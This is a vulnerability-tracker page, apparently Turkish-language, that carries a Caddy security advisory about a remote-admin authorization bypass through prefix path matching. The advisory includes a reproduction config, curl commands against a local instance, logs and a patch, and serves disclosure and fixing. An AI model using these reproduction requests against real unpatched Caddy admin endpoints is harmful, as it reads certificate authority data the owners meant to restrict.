GHSA-gx7w-56w6-g48x: Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching
Noroxi değerlendirmesi
Öncelik: İzleyin (aksiyon skoru 17/100)
- İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
- İnternetten erişebilen herkes tetikleyebilir. Düşük yetkili bir hesap yeterli. Kullanıcının bir şey yapması gerekmez. Özel bir koşul gerekmez; tekrarlanabilir.
- Düzeltilmiş sürüm: github.com/caddyserver/caddy/v2 (Go) 2.11.3.
Şimdilik düşük öncelik. github.com/caddyserver/caddy/v2 (Go) 2.11.3 ya da daha yeni sürüme yükseltin.
Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz
Birincil kaynaklar: OSV
## AI Disclosure I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`. ## Summary Caddy's remote admin access control performs path authorization using prefix matching: - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)` This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`. This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces. ## Affected Component Remote admin access control for PKI admin endpoints. Relevant code: - [`admin.go`](/caddy/admin.go#L687) - [`admin.go`](/caddy/admin.go#L719) - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68) - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164) ## Root Cause In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this: ```go for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } } ``` This does not enforce a path-segment boundary. So if the allowed path is: /pki/ca/prod then all of the following are treated as authorized: - /pki/ca/prod-backup - /pki/ca/prod1 - /pki/ca/prodanything For PKI admin endpoints, the CA ID is taken directly from the request path: - modules/caddypki/adminapi.go:164 So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed. ## Security Impact A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix. This breaks least-privilege remote admin policies and results in authenticated authorization bypass. ## Minimal Configuration File: repro.json ``` { "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": ["<CLIENT_CERT_BASE64_DER>"], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } } ``` ## Reproduction Steps From Scratch ### 1. Generate a client certificate ``` openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt ``` ### 2. Convert the client certificate to base64 DER CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')" ### 3. Put that value into repro.json Replace: <CLIENT_CERT_BASE64_DER> with the value of CLIENT_CERT_B64. ### 4. Run Caddy go run ./cmd/caddy run --config ./repro.json ### 5. Confirm access to the intended allowed path ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod ``` Expected result: - HTTP/1.1 200 OK ### 6. Request a different CA whose path shares the same prefix ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup ``` Expected secure behavior: - HTTP/1.1 403 Forbidden Actual behavior: - HTTP/1.1 200 OK ## Precise HTTP Requests and Output ### Allowed path ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod ``` Response excerpt: ``` > GET /pki/ca/prod HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json ``` ### Unauthorized sibling path that is incorrectly allowed ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup ``` Response excerpt: ``` > GET /pki/ca/prod-backup HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json ``` The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod. ## Full Log Output sever : ``` root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json 2026/03/19 13:58:13.747 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/19 13:58:13.747 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/19 13:58:13.747 INFO using config from file {"file": "/caddy/repro.json"} 2026/03/19 13:58:13.757 INFO admin admin endpoint started {"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]} 2026/03/19 13:58:13.757 WARN pki.ca.prod installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod/root.crt"} 2026/03/19 13:58:13.757 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:13.757 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:14.406 INFO certificate installed properly in linux trusts 2026/03/19 13:58:14.406 WARN pki.ca.prod-backup installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod-backup/root.crt"} 2026/03/19 13:58:14.407 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:14.407 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:15.038 INFO certificate installed properly in linux trusts 2026/03/19 13:58:15.045 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0006a4480"} 2026/03/19 13:58:15.046 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2021"} 2026/03/19 13:58:15.046 INFO admin.identity.obtain acquiring lock {"identifier": "localhost"} 2026/03/19 13:58:15.046 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/19 13:58:15.046 INFO serving initial configuration 2026/03/19 13:58:15.047 INFO admin.identity.obtain lock acquired {"identifier": "localhost"} 2026/03/19 13:58:15.047 INFO admin.identity.obtain obtaining certificate {"identifier": "localhost"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain certificate obtained successfully {"identifier": "localhost", "issuer": "local"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain releasing lock {"identifier": "localhost"} 2026/03/19 13:58:15.050 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/19 13:59:36.896 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:24.102 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:33.774 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "46918", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} ``` curl : ``` root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /pki/ca/prod HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Date: Thu, 19 Mar 2026 13:59:36 GMT < Content-Length: 1410 < {"id":"prod","name":"prod","root_common_name":"prod - 2026 ECC Root","intermediate_common_name":"prod - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\n4LabLA==\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact DQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6 curl -vk \2CdQNYGrH10qYPhO\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\n-----END CERTIFICATE-----\n"} root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod-backup * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /pki/ca/prod-backup HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Date: Thu, 19 Mar 2026 14:00:33 GMT < Content-Length: 1476 < {"id":"prod-backup","name":"prod-backup","root_common_name":"prod-backup - 2026 ECC Root","intermediate_common_name":"prod-backup - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\nalNeF17VljePo75gPjIOp5kv\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact 2t1cCAtIEVD\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\nXryCbtlyT38=\n-----END CERTIFICATE-----\n"} ``` ## Why This Is Not Just Misconfiguration The configuration explicitly attempts to restrict access to: /pki/ca/prod The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written. ## Suggested Fix Path authorization should allow: - exact match, or - subpath match only when the next character is / For example: ``` func pathAllowed(reqPath, allowedPath string) bool { if reqPath == allowedPath { return true } return strings.HasPrefix(reqPath, allowedPath+"/") } ``` This preserves intended access to subresources like: - /pki/ca/prod/certificates while correctly denying sibling resources like: - /pki/ca/prod-backup ## Working Patch ``` diff --git a/admin.go b/admin.go index 0000000..0000000 100644 --- a/admin.go +++ b/admin.go @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error { // verify path pathFound := accessPerm.Paths == nil for _, allowedPath := range accessPerm.Paths { - if strings.HasPrefix(r.URL.Path, allowedPath) { - pathFound = true + if r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+"/") { + pathFound = true break } } ``` ## Why the Patch Works The patch changes authorization from naive prefix matching to segment-aware matching. This allows: - /pki/ca/prod - /pki/ca/prod/certificates but denies: - /pki/ca/prod-backup - /pki/ca/prod1 which is consistent with the configured path policy. ## Suggested Regression Tests At minimum: 1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed. 2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed. 3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied. 4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.
- Yayın
- 19 May 2026
- Güncelleme
- 24 Tem 2026
- EPSS
- —
- CWE
- CWE-863
Rapor araçları
Aksiyon skoru
17
Şimdilik düşük öncelik.
- CVSS
- 17 / 40 · 4.3 / 10
- CISA KEV
- 0 / 30 · Listede değil
- EPSS
- 0 / 30 · —
Bu kayıt değişirse haber alın
- KEV'de değil: sahada sömürü kaydı yok
- Herkese açık istismar kodu kaydı yok
- Düzeltme yayımlandı
Bunlardan biri değişirse günlük e-posta özetinde haber veririz.
Sürümünüz etkileniyor mu? Kontrol edinNoroxi analizi
Sizin ortamınızda ne anlama geliyor?
Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.
Bu ürünü kullanıyoruz, yardım isteyinEtkilenen sistemler
Sürümünüz etkileniyor mu?
Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.
| Üretici | Ürün | CPE |
|---|---|---|
| Go | github.com/caddyserver/caddy/v2 | pkg:golang/github.com/caddyserver/caddy/v2 |
Paket düzeyi etkilenme
OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.
| Ekosistem | Paket | Etkilenen aralık | Düzeltme |
|---|---|---|---|
| Go | github.com/caddyserver/caddy/v2 | 2.11.3 öncesi | 2.11.3 |
Aynı üründe
Go: tüm kayıtlarAynı birincil ürünün en yüksek skorlu diğer kayıtları.
- GO-2026-5408Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching in github.com/caddyserver/caddy0İzleyin
- GO-2026-5730Caddy CVE-2026-30852 Fix Bypass in github.com/caddyserver/caddy0İzleyin
- GHSA-wwhq-w58m-w29cCaddy CVE-2026-30852 Fix Bypass0İzleyin
Düzeltme
Hangi sürüme geçmeli
Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.
| Ürün / paket | Düzeltilmiş sürüm | Kaynak |
|---|---|---|
| Go:github.com/caddyserver/caddy/v2 | 2.11.3 | Paket deposu (OSV) |
İstismar durumu
Bilinen kamuya açık istismar yok
Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.
Araştırma bağlamı
Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.
Zaman çizelgesi
Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.
Yayın dışında tarihli olay yok.
Bu kayıtta yok: EPSS geçmişi · yama commit'i ya da PR bağlantısı · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.
Teknik detay
Saldırı koşulları
- İnternetten erişebilen herkes tetikleyebilir.
- Düşük yetkili bir hesap yeterli.
- Kullanıcının bir şey yapması gerekmez.
- Özel bir koşul gerekmez; tekrarlanabilir.
Başarılı olursa
- Gizlilik
- düşük · veriler okunabilir
- Bütünlük
- yok
- Erişilebilirlik
- yok
- Saldırı vektörü
- Ağ
- Karmaşıklık
- Düşük
- Gereken yetki
- Düşük
- Kullanıcı etkileşimi
- Gerekmez
- Kapsam
- Değişmez
- Gizlilik etkisi
- Düşük
- Bütünlük etkisi
- Yok
- Erişilebilirlik etkisi
- Yok
Zayıflık sınıfı (CWE)
CWE-863 · Incorrect AuthorizationCVSS vektörü
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
osv
Saldırı bağlamı
Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.
Bu CWE için MITRE'de CAPEC/ATT&CK eşlemesi yok.
Değişiklik günlüğü (1)
- Düzeltme✗ → ✓
Takip ettiğiniz kayıtlarda bu değişiklikler bildirim olarak da gelir. →
Referanslar
Tüm referansları göster (1 daha)Daha az göster
Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.